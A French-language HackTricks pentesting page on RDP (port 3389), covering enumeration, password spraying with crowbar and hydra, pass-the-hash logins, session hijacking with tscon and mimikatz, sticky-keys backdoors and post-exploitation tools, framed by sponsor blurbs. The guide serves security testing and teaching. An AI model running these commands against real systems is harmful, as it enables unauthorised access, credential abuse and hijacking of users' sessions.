hacktricks/network-services-pentesting/pentesting-rdp.md

9.7 KiB

3389 - Test d'intrusion RDP

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le test d'intrusion. Lancez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells et s'amuser.

{% embed url="https://pentest-tools.com/" %}

Informations de base

Le protocole Remote Desktop (RDP) est un protocole propriétaire développé par Microsoft, qui fournit à un utilisateur une interface graphique pour se connecter à un autre ordinateur via une connexion réseau. L'utilisateur utilise un logiciel client RDP à cette fin, tandis que l'autre ordinateur doit exécuter un logiciel serveur RDP (depuis ici).

Port par défaut : 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Énumération

Automatique

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Il vérifie les encryptions disponibles et la vulnérabilité aux DoS (sans provoquer de DoS sur le service) et obtient des informations NTLM Windows (versions).

Force brute

Attention, vous pourriez bloquer des comptes

Spray de mots de passe

Attention, vous pourriez bloquer des comptes

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Connexion avec des identifiants/hash connus

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Vérifier les identifiants connus contre les services RDP

rdp_check.py d'impacket vous permet de vérifier si des identifiants sont valides pour un service RDP :

rdp_check <domain>/<name>:<password>@<IP>

Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le pentesting. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, pop shells, et s'amuser.

{% embed url="https://pentest-tools.com/" %}

Attaques

Vol de session

Avec les permissions SYSTEM, vous pouvez accéder à toute session RDP ouverte par n'importe quel utilisateur sans avoir besoin de connaître le mot de passe du propriétaire.

Obtenir les sessions ouvertes :

query user

Accès à la session sélectionnée

tscon <ID> /dest:<SESSIONNAME>

Maintenant, vous serez dans la session RDP sélectionnée et vous aurez usurpé un utilisateur en utilisant uniquement les outils et fonctionnalités de Windows.

Important : Lorsque vous accédez à des sessions RDP actives, vous déconnecterez l'utilisateur qui l'utilisait.

Vous pourriez obtenir des mots de passe en vidant le processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être sauvegardés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...)

Mimikatz

Vous pourriez également utiliser mimikatz pour cela :

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

En combinant cette technique avec stickykeys ou utilman, vous pourrez accéder à un CMD administratif et à toute session RDP à tout moment

Vous pouvez rechercher des RDP qui ont été compromis avec l'une de ces techniques avec : https://github.com/linuz/Sticky-Keys-Slayer

Injection de processus RDP

Si quelqu'un d'un domaine différent ou avec des privilèges supérieurs se connecte via RDP sur le PC où vous êtes Admin, vous pouvez injecter votre beacon dans son processus de session RDP et agir comme lui :

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Ajout d'un utilisateur au groupe RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Outils Automatiques

AutoRDPwn est un framework de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque Shadow sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant à distance de voir le bureau de sa victime sans son consentement, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même.

  • EvilRDP
  • Contrôler la souris et le clavier de manière automatisée depuis la ligne de commande
  • Contrôler le presse-papiers de manière automatisée depuis la ligne de commande
  • Créer un proxy SOCKS depuis le client qui canalise la communication réseau vers la cible via RDP
  • Exécuter des commandes SHELL et PowerShell arbitraires sur la cible sans télécharger de fichiers
  • Télécharger et envoyer des fichiers vers/depuis la cible même lorsque les transferts de fichiers sont désactivés sur la cible

Commandes Automatiques HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>

**Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells et s'amuser.

{% embed url="https://pentest-tools.com/" %}

<details>

<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>